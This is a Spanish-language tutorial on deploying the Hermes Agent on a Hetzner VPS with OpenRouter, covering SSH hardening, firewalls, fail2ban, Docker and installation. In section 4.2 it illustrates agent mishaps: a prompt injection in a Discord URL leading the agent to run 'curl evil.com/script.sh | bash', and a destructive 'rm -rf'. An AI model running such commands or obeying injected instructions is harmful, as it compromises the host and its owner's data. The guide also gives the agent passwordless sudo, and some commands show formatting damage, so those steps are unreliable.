Hermes Agent en un VPS de Hetzner con OpenRouter
Tutorial práctico para desplegar Hermes Agent en un VPS de Hetzner, conectarlo a Discord y usar OpenRouter como proveedor de LLMs.

Share
Este artículo es, en buena medida, un tutorial para mí mismo. Lo fui escribiendo mientras desplegaba Hermes Agent (https://github.com/NousResearch/hermes-agent) en un VPS de Hetzner, conectándolo a Discord y usando OpenRouter (https://openrouter.ai/) como proveedor de LLMs.
Lo publico así porque Hermes está cambiando muy rápido. Acaba de salir hace poco, muchas piezas están mejorando en tiempo real y hay comportamientos que cambian entre una versión y la siguiente. Por eso este walkthrough intenta reflejar lo que sí me ha funcionado en una instalación real, con notas donde la documentación oficial y el comportamiento del binario aún no van totalmente alineados.
Documentación oficial de referencia: https://hermes-agent.nousresearch.com/docs Repositorio: https://github.com/NousResearch/hermes-agent Nota: este tutorial sigue un único camino concreto: Hetzner + Ubuntu + Docker backend + OpenRouter + Discord. Hermes soporta más variantes, pero aquí me centro solo en la que he probado de verdad.—
Tabla de contenidos
-
Qué es Hermes Agent y arquitectura objetivo
-
Elegir el VPS de Hetzner
-
Provisionar el servidor
-
Hardening inicial: usuario, SSH y firewall
-
Instalar Docker y Docker Compose
-
Instalar Hermes Agent
-
Configurar OpenRouter como proveedor
-
Configurar varios modelos para distintas tareas
-
Skills de código y backend Docker para ejecución segura
-
Conectar Hermes con Discord
-
Estructura de carpetas para proyectos
-
Cron diario de resumen por proyecto
-
Convertir Hermes en servicio systemd 24/7
-
Seguridad y límites
-
Pasar un prototipo a producción con Sliplane
-
Checklist final
1. Qué es Hermes Agent y arquitectura objetivo
Hermes Agent (https://github.com/NousResearch/hermes-agent) es un agente open-source de Nous Research (sucesor de OpenClaw) con:
-
Múltiples gateways de mensajería: CLI, Discord, Telegram, Slack, WhatsApp, Signal, Home Assistant — todos desde un proceso
hermes gateway. -
Compatibilidad con cualquier proveedor OpenAI-compatible: Nous Portal, OpenRouter (200+ modelos), Anthropic, OpenAI, DeepSeek directo, GLM, Kimi, Hugging Face, endpoints locales, etc.
-
Skills auto-creadas y ecosistema agentskills.io (https://agentskills.io).
-
Memoria persistente con resumen LLM y FTS5.
-
Cron scheduler integrado para tareas autónomas (heartbeats, reports nocturnos, auditorías).
-
Backends de terminal: local, Docker (sandbox), SSH, Modal, Daytona, Singularity.
-
Delegación a subagentes con modelo distinto al principal (clave para abaratar costes).
Refs: README oficial (https://github.com/NousResearch/hermes-agent/blob/main/README.md), Quickstart (https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/), Configuration (https://hermes-agent.nousresearch.com/docs/user-guide/configuration/).
Arquitectura que vamos a montar
2. Elegir el VPS de Hetzner
Precios actualizados al ajuste del 1 abril 2026 (fuente (https://docs.hetzner.com/general/infrastructure-and-availability/price-adjustment/)). Todos los planes incluyen 20 TB de tráfico, 1 IPv4, IPv6 y firewall gratuito.
Recomendación: empieza con CX32 (Ubuntu 24.04 LTS, datacenter Falkenstein o Helsinki). Es trivialmente escalable a CX42 sin reinstalar (Hetzner permite redimensionar en caliente).
⚠️ CX y CAX solo están en datacenters de la UE. Si necesitas EE.UU. o Singapur, usa CPX o CCX.
3. Provisionar el servidor
3.1. Crea la cuenta y un proyecto
-
Ve a https://console.hetzner.cloud/ y crea cuenta. Pide validación con tarjeta o PayPal (Hetzner activa cuentas en minutos pero a veces pide ID los primeros días).
-
Crea un nuevo Project (ej.
Hermes).
📸 [images/03-hetzner-project.png]
3.2. Sube tu clave SSH
Antes de crear el servidor genera (en tu máquina local) una clave dedicada. Importante: usa la sintaxis adecuada según tu sistema operativo — la expansión de ~ no funciona igual en PowerShell que en bash.
En Linux / macOS / WSL / Git Bash
ssh-keygen -t ed25519 -C "hetzner-hermes" -f ~/.ssh/hetzner_hermes
En Windows PowerShell
PowerShell no siempre expande ~. Usa $HOME y backslashes:
# Asegura que existe la carpeta .ssh (idempotente)
New-Item -ItemType Directory -Path $HOME\.ssh -Force | Out-Null
# Genera la clave
ssh-keygen -t ed25519 -C "hetzner-hermes" -f $HOME\.ssh\hetzner_hermes
Si te aparece
Saving key “~/.ssh/hetzner_hermes” failed: No such file or directory, es exactamente este problema:~no se está expandiendo. Usa$HOMEcomo arriba. Si te aparece’ssh-keygen’ is not recognized, falta el cliente OpenSSH. Instálalo desde PowerShell como administrador con:Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0y abre una sesión nueva.
Verifica que las dos claves se han creado
# PowerShell
Get-ChildItem $HOME\.ssh\hetzner_hermes*
# bash
ls -la ~/.ssh/hetzner_hermes*
Debes ver dos archivos:
-
hetzner_hermes→ clave privada (queda en tu portátil; no se sube a ningún sitio). -
hetzner_hermes.pub→ clave pública (la que pegas en Hetzner).
Copia la pública al portapapeles
# PowerShell
Get-Content $HOME\.ssh\hetzner_hermes.pub | Set-Clipboard
# macOS
pbcopy < ~/.ssh/hetzner_hermes.pub
# Linux con xclip
xclip -selection clipboard < ~/.ssh/hetzner_hermes.pub
Pégala en Hetzner
Consola Hetzner → Security → SSH Keys → Add SSH Key, pega el contenido y dale un nombre identificativo (hetzner-hermes-laptop, por ejemplo).
⚠️ Importante: las claves del panel de Hetzner solo se inyectan cuando creas un servidor nuevo. Si ya tienes el servidor creado y subes una clave nueva al panel, no se propaga al servidor existente. En ese caso tienes que añadirla manualmente al
~/.ssh/authorized_keysdel usuario en el VPS:
> # desde tu portátil - añade tu clave pública al authorized_keys del VPS en una sola línea
> Get-Content $HOME\.ssh\hetzner_hermes.pub | ssh hermes@SERVER_IP "cat
> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"
Asume que
hermesya existe (paso 4.2 hecho) y que entras con alguna otra clave válida. Si todavía no has hecho el paso 4 y quieres probar con root, sustituyehermesporrooten el comando.
3.3. Crea el servidor
En la pantalla Add Server rellena solo lo siguiente:
-
Location
-
Valor: Falkenstein (FSN1) o Helsinki (HEL1)
-
Notas: Cualquier datacenter UE vale
-
Image
-
Valor: Ubuntu 24.04
-
Notas: LTS, soporte hasta 2029
-
Type
-
Valor: CX32 (Shared vCPU · x86)
-
Notas: Pestaña “Shared vCPU”
-
Networking → Public IPv4
-
Valor: ✅ ACTIVADO
-
Notas: ~0,50 €/mes extra. Necesario porque muchos ISP residenciales no rutan IPv6 — sin IPv4 tu propio navegador puede no llegar a tus prototipos
-
Networking → Public IPv6
-
Valor: ✅ activado (gratis)
-
Notas: Déjalo activo
-
Networking → Private networks
-
Valor: (vacío)
-
Notas: Solo si quieres LAN entre varios servidores Hetzner
-
SSH Keys
-
Valor: ✅ tu clave del paso 3.2
-
Notas: Crítico: si no marcas ninguna, Hetzner manda password por email
-
Volumes
-
Valor: (vacío)
-
Notas: El disco de 80 GB del CX32 ya basta
-
Firewalls
-
Valor: (vacío)
-
Notas: Lo creamos en el paso 4.4
-
Backups
-
Valor: ✅ activar
-
Notas: +20% del precio (~1,36 €). Snapshots diarios, 7 retenciones. Recomendado
-
Placement groups
-
Valor: ❌ omitir
-
Notas: Solo sirve para distribuir varios servidores en hardware distinto. No aplica a 1 VPS
-
Labels
-
Valor: ❌ omitir
-
Notas: Tags opcionales para agrupar recursos en proyectos grandes. Innecesario aquí
-
Cloud config / User data
-
Valor: ❌ omitir
-
Notas: Sería un script
cloud-initpara auto-provisión. Lo hacemos a mano en el paso 4 -
Name
-
Valor:
hermes-lab
Pulsa Create & Buy now.
📸 [images/05-hetzner-create-server.png]
Anota la IP pública IPv4 que aparece tras unos segundos (la usaremos como SERVER_IP).
3.4. Primer login
Desde tu máquina local:
ssh -i ~/.ssh/hetzner_hermes root@SERVER_IP
Acepta la huella. Si entra, todo bien.
4. Hardening inicial: usuario, SSH y firewall
4.1. Actualiza el sistema e instala dependencias base
Estos paquetes son dependencias del sistema operativo, no de Hermes. Cubren tres cosas: seguridad, parcheo automático y herramientas comunes que Docker y otros instaladores asumen.
apt update && apt upgrade -y
apt install -y ufw fail2ban unattended-upgrades curl git build-essential ca-certificates gnupg lsb-release htop
dpkg-reconfigure -plow unattended-upgrades # acepta los defaults
Qué hace cada paquete y por qué lo necesitas:
-
ufw -
Para qué sirve: Firewall a nivel de host (paso 4.4)
-
¿Imprescindible?: Sí
-
fail2ban -
Para qué sirve: Banea IPs tras N intentos fallidos de SSH (paso 4.5)
-
¿Imprescindible?: Sí
-
unattended-upgrades -
Para qué sirve: Aplica parches de seguridad automáticamente sin tocar nada
-
¿Imprescindible?: Sí (lab 24/7)
-
curl -
Para qué sirve: Descarga el instalador de Hermes y la GPG key de Docker
-
¿Imprescindible?: Sí
-
git -
Para qué sirve: Única dependencia “manual” que Hermes pide explícitamente. El resto las gestiona el
install.sh -
¿Imprescindible?: Sí
-
build-essential -
Para qué sirve: gcc/make: necesario si alguna skill compila código nativo
-
¿Imprescindible?: Recomendado
-
ca-certificates -
Para qué sirve: Certificados raíz para HTTPS (Docker repo, OpenRouter)
-
¿Imprescindible?: Sí
-
gnupg,lsb-release -
Para qué sirve: Verificar firmas y detectar versión Ubuntu (Docker repo)
-
¿Imprescindible?: Sí
-
htop -
Para qué sirve: Monitor interactivo de procesos
-
¿Imprescindible?: Comodidad
¿Y las dependencias de Hermes en sí?
No instales Python, Node, uv, ripgrep ni ffmpeg manualmente. El instalador oficial (scripts/install.sh, paso 6) los provisiona en un entorno aislado para evitar choques con paquetes del sistema. Concretamente, según la docu oficial de instalación (https://hermes-agent.nousresearch.com/docs/getting-started/installation):
-
uv (gestor de paquetes Python ultrarrápido)
-
Python 3.11 dentro de un venv aislado
-
Node.js v22 (necesario para skills basadas en npm y para
agent-browserdel paso 9.4) -
ripgrep (búsquedas FTS en código)
-
ffmpeg (conversión de audio para voice mode)
Para diagnosticar o reparar dependencias después de la instalación, usa:
hermes doctor # diagnóstico completo (te dice qué falta y cómo arreglarlo)
hermes update # vuelve a tirar del install.sh y actualiza todo
Hermes no tiene un comando
hermes deps installseparado: la gestión de dependencias está incorporada en el propioinstall.shy enhermes update. Refs: Installation (https://hermes-agent.nousresearch.com/docs/getting-started/installation), CLI Reference (https://hermes-agent.nousresearch.com/docs/reference/cli-commands).
4.2. Crea un usuario no-root para Hermes
Hermes debe vivir en su propio usuario (no root) para limitar daño en caso de RCE accidental.
¿Qué es un RCE accidental? RCE = Remote Code Execution (ejecución remota de código). En este contexto NO es un atacante explotando una vulnerabilidad: es el propio agente ejecutando un comando que no debía. Ejemplos reales que pasan en agentes LLM: — El modelo malinterpreta una instrucción y hace
rm -rf ~/proyectospensando que limpia un build. — Un usuario en Discord lanza un prompt injection dentro de una URL y Hermes acaba ejecutandocurl evil.com/script.sh | bash. — Una skill mal escrita (o auto-generada por el propio agente) entra en un bucle que escribe en/etc/. Si Hermes vive comoroot, cualquiera de esos errores compromete todo el servidor: borra el sistema, modifica/etc/sudoers, lee/root/.ssh/, etc. Como usuariohermessin acceso a archivos del sistema, el “explosion radius” se queda en/home/hermes/. Es la primera línea de defensa: menos privilegios = menos daño cuando algo va mal.
adduser - disabled-password - gecos "" hermes
usermod -aG sudo hermes
mkdir -p /home/hermes/.ssh
cp /root/.ssh/authorized_keys /home/hermes/.ssh/
chown -R hermes:hermes /home/hermes/.ssh
chmod 700 /home/hermes/.ssh
chmod 600 /home/hermes/.ssh/authorized_keys
Concede sudo sin password (cómodo para automatizaciones; si prefieres con password, salta este bloque):
echo "hermes ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/hermes
chmod 440 /etc/sudoers.d/hermes
4.3. Endurece SSH
¿Para qué sirve “endurecer SSH”?
Tu VPS está en Internet pública, con una IPv4 fija. Desde el segundo en que se enciende, bots automatizados empiezan a probar logins por SSH (puerto 22) intentando contraseñas comunes (root/123456, admin/admin, ...) o claves filtradas. No es paranoia: si miras /var/log/auth.log a las pocas horas de crear el servidor, verás cientos de intentos.
“Endurecer SSH” significa cambiar la configuración por defecto del demonio (sshd) para que esos intentos automatizados ni siquiera tengan opción. Con la config que vamos a aplicar, un bot que intente ssh root@tu-ip recibe rechazo inmediato sin llegar a probar password.
¿Es necesario? ¿Te limita?
-
¿Es necesario? Sí, especialmente porque vamos a tener un agente con acceso a Docker y al filesystem corriendo 24/7. Una sola contraseña débil filtrada y pierdes todo.
-
¿Te limita? Mínimamente, y solo si pierdes tu clave SSH. La tabla de abajo desglosa cada línea con su trade-off real.
Paso 1 — Escribe la configuración (todavía sin aplicar)
Esto solo crea el archivo. Hasta que no reinicies ssh (paso 3) la config nueva no entra en vigor, así que no hay riesgo de quedarte fuera todavía.
cat > /etc/ssh/sshd_config.d/99-hardening.conf <<'EOF'
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
KbdInteractiveAuthentication no
ChallengeResponseAuthentication no
MaxAuthTries 3
LoginGraceTime 20
AllowUsers hermes
EOF
Valida la sintaxis antes de aplicar:
sshd -t && echo "OK config" || echo "ERROR: revisa el archivo"
Si sale ERROR, corrige el archivo antes de seguir. sshd -t no toca nada, solo valida.
Qué hace cada línea (y qué limitación introduce)
-
PermitRootLogin no -
Qué hace: Bloquea el login directo como
rootpor SSH. Para tareas privilegiadas, entras comohermesy usassudo. -
¿Te limita?: No: en el paso 4.2 ya diste sudo NOPASSWD a
hermes. Cualquier cosa que harías como root, la haces consudo -
PasswordAuthentication no -
Qué hace: Desactiva el login con contraseña. Solo se acepta clave SSH.
-
¿Te limita?: Sí, parcialmente: si pierdes la clave privada
~/.ssh/hetzner_hermes, no puedes entrar por SSH. Mitigación: la consola web de Hetzner (Rescue mode) sigue funcionando con la contraseña root del email; desde ahí puedes resetear claves. Nunca te quedas fuera del todo -
PubkeyAuthentication yes -
Qué hace: Activa explícitamente login por clave pública (es el default, pero lo dejamos explícito).
-
¿Te limita?: No
-
KbdInteractiveAuthentication no -
Qué hace: Desactiva el método de auth interactivo (PAM, OTP por teclado...).
-
¿Te limita?: No, salvo que quisieras montar 2FA con
google-authenticator. Si en el futuro lo quieres, esto se pone ayes -
ChallengeResponseAuthentication no -
Qué hace: Alias antiguo del anterior, lo dejamos explícito por compatibilidad.
-
¿Te limita?: No
-
MaxAuthTries 3 -
Qué hace: Cierra la conexión tras 3 intentos fallidos (en lugar del default 6). Combinado con
fail2ban, banea la IP. -
¿Te limita?: Solo si te equivocas tecleando 3 veces — vuelves a conectar y reinicia el contador
-
LoginGraceTime 20 -
Qué hace: Si no completas el login en 20 segundos, cierra. (Default: 120s.) Reduce ventana para ataques de fuerza bruta lentos.
-
¿Te limita?: No: 20 s es de sobra para una conexión legítima con clave
-
AllowUsers hermes -
Qué hace: Whitelist explícita: solo el usuario
hermespuede abrir sesión SSH. Aunque crees otro usuario en el sistema, no podrá entrar por SSH a menos que lo añadas aquí. -
¿Te limita?: Solo si más adelante creas más usuarios para SSH (p.ej. un compañero). Editas esta línea:
AllowUsers hermes alice bobysystemctl restart ssh
Lo que NO estamos cambiando
-
Puerto: seguimos en el 22. Cambiarlo a 2222 reduce ruido en logs (los bots escanean primero el 22) pero no añade seguridad real: un atacante serio escanea todos los puertos. Lo dejamos en 22 para que cualquier cliente SSH funcione sin
-p. -
2FA: opcional para más adelante. Con clave SSH + fail2ban +
MaxAuthTries 3ya estás muy por encima del 99 % de servidores en Internet.
Paso 2 — Prepara una sesión de seguridad (ANTES de aplicar)
⚠️ No cierres la sesión root actual. Va a ser tu red de seguridad por si la nueva config tiene algún problema. Hasta que verifiques que el login con
hermesfunciona, mantén abierta la terminal donde estás como root.
Paso 3 — Aplica la nueva config
Ahora sí, recarga sshd (reload aplica la nueva config sin matar las conexiones SSH ya abiertas, así que tu sesión root sigue viva):
systemctl reload ssh
Si tu sistema solo tiene
restarty noreload, usasystemctl restart ssh. Las conexiones SSH activas suelen sobrevivir a un restart porque el demonio solo se reinicia para nuevas conexiones, peroreloades la opción segura por defecto.
Paso 4 — Verifica desde otra terminal
En tu máquina local, abre una terminal nueva (sin cerrar la del VPS) y prueba:
ssh -i ~/.ssh/hetzner_hermes hermes@SERVER_IP
-
✅ Si entra como
**hermes**→ la config nueva funciona. Ahora sí puedes cerrar la sesión root original. -
❌ Si falla → vuelve a la sesión root (que sigue abierta) y arregla el archivo
/etc/ssh/sshd_config.d/99-hardening.confo las claves en/home/hermes/.ssh/authorized_keys. Tras corregir, repitesshd -tysystemctl reload ssh.
Si te quedas fuera (plan B)
Cuando pasa lo peor (perdiste la clave, te equivocaste en AllowUsers, etc.):
-
Ve a la consola Hetzner → tu servidor → Rescue → Activate Rescue System (Linux 64).
-
Reinicia el VPS desde el panel.
-
Conecta vía la consola web (botón “Console”) con la password root que Hetzner te muestra.
-
Monta el disco (
mount /dev/sda1 /mnt) y arregla/mnt/etc/ssh/sshd_config.d/99-hardening.confo/mnt/home/hermes/.ssh/authorized_keys. -
Desactiva el rescue mode y reinicia normal.
Vamos: endurecer no te encierra, te obliga a tener tu clave SSH organizada.
🔁 Cambio de usuario: a partir de aquí trabajas como
hermesSi verificaste el paso 4.3.4 con éxito, cierra la sesión root y conéctate comohermes:
# en tu máquina local
ssh -i ~/.ssh/hetzner_hermes hermes@SERVER_IP
Todos los comandos de aquí en adelante (4.4, 4.5, 5, 6...) los ejecutas como
hermesconsudocuando hagan falta privilegios. Ya configuramossudo NOPASSWDen el paso 4.2, así quesudono te pedirá contraseña.
4.4. Firewall (UFW + Hetzner Cloud Firewall)
Doble capa: UFW dentro del VPS + Cloud Firewall en el panel.
Antes de tocar nada: ¿qué puerto necesita cada cosa?
Es habitual asumir que cada servicio que usa el VPS necesita un puerto abierto. No es verdad para servicios salientes. Las conexiones que el VPS inicia hacia fuera (Discord, OpenRouter, GitHub, npm, apt...) no requieren ningún puerto abierto en tu firewall — el firewall solo regula tráfico entrante. Por eso ufw default allow outgoing deja salir todo sin lista blanca.
-
Tú haciendo SSH al VPS
-
Tipo: Entrante (tú → VPS, puerto 22)
-
¿Puerto en tu firewall?: Sí: 22
-
Tú abriendo
https://miprototipo.lab.rustyroboz.comen el navegador -
Tipo: Entrante (visitante → Caddy, puertos 80/443)
-
¿Puerto en tu firewall?: Sí: 80 y 443
-
Hermes hablando con Discord (recibiendo y enviando mensajes)
-
Tipo: Saliente (VPS →
gateway.discord.gg:443por WebSocket) -
¿Puerto en tu firewall?: No
-
Hermes llamando a OpenRouter
-
Tipo: Saliente (VPS →
openrouter.ai:443) -
¿Puerto en tu firewall?: No
-
Hermes haciendo
git pull,apt,npm install -
Tipo: Saliente
-
¿Puerto en tu firewall?: No
-
Hermes spawneando contenedores Docker
-
Tipo: Local entre procesos
-
¿Puerto en tu firewall?: No
Resumen: Discord no necesita que abras nada. El bot es un cliente; Discord nunca inicia conexiones hacia tu VPS.
Por tanto, lo que de verdad tienes que decidir es quién puede llegar al puerto 22 desde Internet.
El puerto 22: lo abrimos a todo Internet
Source: 0.0.0.0/0, ::/0 para SSH. Sí, suena agresivo, pero es la opción correcta para tu caso (WiFi de casa con IP dinámica del router) porque el endurecimiento del paso 4.3 ya hace inútiles los intentos de fuerza bruta:
-
PasswordAuthentication no→ no hay contraseña que adivinar. -
PubkeyAuthentication yescon clave Ed25519 → ~256 bits de seguridad, irrompible en la práctica. -
AllowUsers hermes→ solo un usuario es siquiera elegible. -
MaxAuthTries 3+fail2ban→ cualquier IP que insista queda baneada.
Los bots de Internet seguirán golpeando el puerto 22 (verás los intentos en /var/log/auth.log), pero saldrán expulsados antes de hacer nada útil. Es lo que hace la mayoría de servidores Linux en Internet y es perfectamente razonable para un lab personal. Las alternativas (restringir a tu IP — imposible sin IP fija; o montar Tailscale — extra de setup) son mejoras opcionales, no requisitos.
Aplicar UFW (dentro del VPS)
sudo necesario porque toca reglas del kernel:
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
sudo ufw - force enable
sudo ufw status verbose
Aplicar Cloud Firewall (panel Hetzner)
Hetzner panel → Firewalls → Create Firewall → nombre hermes-lab-fw. Crea 3 reglas Inbound, una por cada puerto:
-
SSH -
Sources: Any IPv4 + Any IPv6
-
Protocol: TCP
-
Port: 22
-
Port range: (vacío)
-
HTTP -
Sources: Any IPv4 + Any IPv6
-
Protocol: TCP
-
Port: 80
-
Port range: (vacío)
-
HTTPS -
Sources: Any IPv4 + Any IPv6
-
Protocol: TCP
-
Port: 443
-
Port range: (vacío)
⚠️ Atención al formulario de Hetzner: — Sources son las IPs origen. Pulsa el desplegable y marca los preset Any IPv4 y Any IPv6 (equivale internamente a
0.0.0.0/0y::/0, pero en la UI selecciónalos por nombre). — Port es para un puerto único. Pon22,80o443. — Port range se deja vacío. Solo se usa para rangos como8000–8100. Si pegas IPs ahí, Hetzner devuelvePort is too low.
La regla ICMP que viene por defecto: déjala
Hetzner crea automáticamente una cuarta regla Protocol: ICMP, Sources: Any IPv4 + Any IPv6. Mantenla. ICMP no es un puerto de servicio, es el protocolo de control de red:
-
Hace que
pingytraceroutefuncionen (diagnóstico básico cuando algo falla). -
Soporta Path MTU Discovery, sin la cual conexiones por VPN o redes con MTU pequeño se cuelgan en silencio al transferir archivos grandes.
-
En IPv6, ICMPv6 incluye Neighbor Discovery y Router Advertisement: si lo bloqueas, IPv6 deja de funcionar. No es opcional.
El riesgo de dejarlo abierto es mínimo (un atacante puede verificar que el host está vivo, pero tu IP ya es pública igualmente) y los floods los absorbe la protección DDoS de Hetzner antes de llegar al VPS.
¿Por qué la regla ICMP no tiene puerto? Los puertos son un concepto de TCP/UDP. ICMP identifica los mensajes por “type” y “code” (echo request, echo reply, destination unreachable...), no por puerto. Hetzner deshabilita los campos Port y Port range automáticamente cuando seleccionas
Protocol: ICMP. Es correcto que estén vacíos.
Aplica la firewall al servidor hermes-lab en la pestaña Apply to del propio firewall.
No abras puertos de aplicaciones (3000, 8080, etc.). Caddy hará el reverse proxy en 80/443.
4.5. Fail2ban
Activa la jail por defecto para SSH:
sudo systemctl enable - now fail2ban
sudo fail2ban-client status sshd
⚠️ Aviso importante durante el setup inicial: mientras estés probando claves SSH y autenticación, es muy fácil dispararte 5+ intentos fallidos seguidos y que fail2ban te banee tu propia IP de casa. Síntoma típico: ping al servidor funciona, pero
sshyTest-NetConnection -Port 22dan timeout aunque las firewalls estén OK. Si te pasa, entra por la Consola web de Hetzner (panel → servidor → botón Console) y desbanea:
sudo fail2ban-client status sshd # ver IPs baneadas
sudo fail2ban-client unban - all # desbanear todo
Para evitarlo del todo durante la configuración inicial, mantén fail2ban parado y actívalo al final del paso 4:
sudo systemctl stop fail2ban # mientras configuras
# … cuando todo funciona estable …
sudo systemctl start fail2ban
O whitelistea tu IP en
/etc/fail2ban/jail.local:
sudo tee /etc/fail2ban/jail.local <<'EOF'
[DEFAULT]
ignoreip = 127.0.0.1/8 ::1 TU_IP_PUBLICA
EOF
sudo systemctl restart fail2ban
(Saca tu IP pública con
Invoke-RestMethod ifconfig.medesde PowerShell.)
5. Instalar Docker y Docker Compose
¿Por qué instalamos Docker si Hermes no lo pide?
En el paso 4.1 dije que la única dependencia manual de Hermes es git, y es cierto: el install.sh se encarga de Python/Node/uv/ripgrep/ffmpeg en un entorno aislado. Pero Docker no es una dependencia de Hermes, es una dependencia de la arquitectura que estamos montando. Lo necesitamos por tres razones, todas decididas en pasos posteriores:
-
Sandbox de ejecución del agente (
terminal.backend: docker) -
Definido en: Paso 9.1
-
Sin Docker: Hermes ejecutaría comandos directamente en el host. Pierdes la primera capa de aislamiento que justifica
approvals.mode: off -
Reverse proxy con HTTPS automático (Caddy)
-
Definido en: Opcional, fuera del alcance de este artículo
-
Sin Docker: No tienes subdominios HTTPS para los prototipos
-
Cada prototipo generado por Hermes
-
Definido en: Consecuencia natural del enfoque basado en contenedores
-
Sin Docker: Cada proyecto contaminaría dependencias del sistema; sin aislamiento entre prototipos
Si decidieras renunciar a las tres cosas (terminal.backend: local, sin Caddy, ejecutar prototipos directamente en host), podrías saltarte esta sección. No lo recomiendo para un lab 24/7 — es lo que diferencia “tengo un agente jugando con mi servidor” de “tengo una incubadora aislada de proyectos”.
¿Y no debería correr Hermes mismo dentro de Docker?
Es una alternativa válida y la docu oficial de Hermes en Docker (https://hermes-agent.nousresearch.com/docs/user-guide/docker). Existe una imagen oficial nousresearch/hermes-agent:latest.
Ventajas de la opción containerizada: actualizaciones triviales (docker pull && docker compose up -d), aislamiento total del host, todo el estado en un único volumen /opt/data.
Por qué nuestra guía va con instalación nativa:
-
Más fácil de debuggear (logs directos,
hermes doctor,hermes updatefuncionan sin saltos de contenedor). -
Acceso directo al filesystem del host para los volúmenes de proyectos sin “Docker dentro de Docker”.
-
El servicio systemd del paso 13 envuelve el binario nativo, lo que da control fino sobre límites de recursos.
-
Es lo que hace el Quickstart oficial (https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/).
Si en el futuro quieres migrar a Hermes containerizado, los datos de ~/.hermes/ son portables: solo necesitas montarlos en /opt/data del contenedor.
Instalar Docker (oficial)
Sigues como hermes. Instala Docker desde el repo oficial:
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg - dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
echo "deb [arch=$(dpkg - print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \
https://download.docker.com/linux/ubuntu $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
sudo usermod -aG docker hermes
Aplicar la pertenencia al grupo docker
usermod -aG docker hermes añade tu usuario al grupo docker, pero los grupos solo se cargan al iniciar sesión: la sesión SSH actual sigue sin verlo. Comprueba el estado primero:
groups # te lista los grupos de la sesión actual
id -nG hermes # los grupos REALES del usuario en /etc/group
Si groups no incluye docker pero id -nG hermes sí, confirma que el cambio está hecho a nivel de sistema y solo falta refrescar la sesión.
Tienes tres formas de hacerlo, ordenadas de más simple a más quirúrgica:
Opción 1 — Cerrar y volver a abrir SSH (la más limpia):
exit # o Ctrl+D - cierra la sesión actual
Y desde tu portátil, vuelves a entrar:
ssh -i ~/.ssh/hetzner_hermes hermes@SERVER_IP
groups # ahora debería incluir 'docker'
Opción 2 — Sin cerrar SSH, abrir un sub-shell con el grupo recargado:
exec sg docker -c bash
groups # incluye 'docker'
sg (switch group) lanza un shell con la membresía recargada. Cuando salgas (exit), vuelves al shell original sin grupo docker. Útil si tienes procesos abiertos en la sesión que no quieres perder.
Opción 3 — Recargar grupos con **newgrp**:
newgrp docker
groups
Similar a sg pero reemplaza el shell actual. También se sale con exit.
Cualquiera de las tres vale. La más recomendable es opción 1 porque es lo que harás siempre que reconectes y deja todo en estado limpio.
Verifica que Docker funciona como hermes
docker run - rm hello-world
docker compose version
hello-world debe imprimir el mensaje de bienvenida de Docker. Si te dice permission denied while trying to connect to the Docker daemon socket, es que el grupo todavía no se aplicó: vuelve al paso anterior y reconecta SSH.
6. Instalar Hermes Agent
Como usuario hermes:
curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
Importante: comportamiento real del instalador actual. Ese comando ya no se limita a “instalar binarios”: al terminar abre el asistente interactivo de Hermes para dejar configurado al menos un proveedor LLM. La doc oficial indica que el instalador gestiona dependencias, clona el repo, crea el entorno, expone el comando global
hermesy configura el proveedor LLM. Refs: Installation (https://hermes-agent.nousresearch.com/docs/getting-started/installation), Quickstart (https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/).
6.1. Qué elegir en el asistente
Cuando acabe la instalación base y aparezca el configurador:
-
Elige
**Quick setup**. -
En proveedor, elige
**OpenRouter**. -
Pega tu API key de OpenRouter (
sk-or-v1-...). -
Si te pide elegir modelo, selecciona
**qwen**/**qwen3**.**6**-**plus**. -
Cuando pregunte si quieres conectar una plataforma de mensajería (
Connect a messaging platform?), de momento sáltalo: deja la selección enSkipo confirma sin seleccionar ninguna plataforma. La idea en esta primera pasada es no configurar todavía el gateway y comprobar antes que Hermes base funciona bien en CLI.
Por qué no dejamos DeepSeek V4 Pro como ruta principal en esta guía: durante las pruebas reales en este VPS nos encontramos varios
HTTP 429causados por saturación o degradación del upstream provider en OpenRouter. Para que el tutorial sea reproducible y estable, la configuración final se basa enqwen/qwen3.6-plus+minimax/minimax-m2.7, que en nuestras pruebas se comportó mejor. Según el flujo actual de Hermes,Quick setupusa el mismo selector de proveedor/modelo quehermes model, pero omite partes más largas delFull setup, como rotación de credenciales y configuración adicional de visión/TTS. Si más adelante quieres la configuración completa, ejecutahermes setup.
6.2. Recargar la shell y verificar el binario
Cuando el asistente termine y vuelvas al prompt, sí conviene seguir con estos comandos:
source ~/.bashrc
hermes - version
source ~/.bashrc recarga el PATH por si el instalador acaba de añadir ~/.local/bin, y hermes — version confirma que el comando ya es resoluble desde tu sesión actual.
Si
source ~/.bashrcda algún error raro de permisos, abre una sesión SSH nueva comohermesy vuelve a probarhermes — version. La propia FAQ de Hermes contempla ese caso.
Estructura post-install:
~/.hermes/
├── config.yaml # configuración no-secreta (editable a mano)
├── .env # API keys y secretos (chmod 600)
├── data/ # memoria, sesiones, FTS5
├── skills/ # skills instaladas
├── cron/ # jobs programados
└── logs/
Comprueba que todo está sano:
hermes doctor
7. Configurar OpenRouter como proveedor
Si en el paso 6 ya hiciste
Quick setup→OpenRoutery pegaste la API key, esta sección te sirve sobre todo para verificar que quedó bien guardada.
7.1. Saca una API key de OpenRouter
-
Crea cuenta en https://openrouter.ai/.
-
Settings → Keys → Create Key, dale nombre
hermes-hetzner, opcional: pon un límite de gasto mensual (recomendado: empieza en 20–30 $). -
Copia la key (empieza por
sk-or-v1-...).
📸 [images/07-openrouter-key.png]
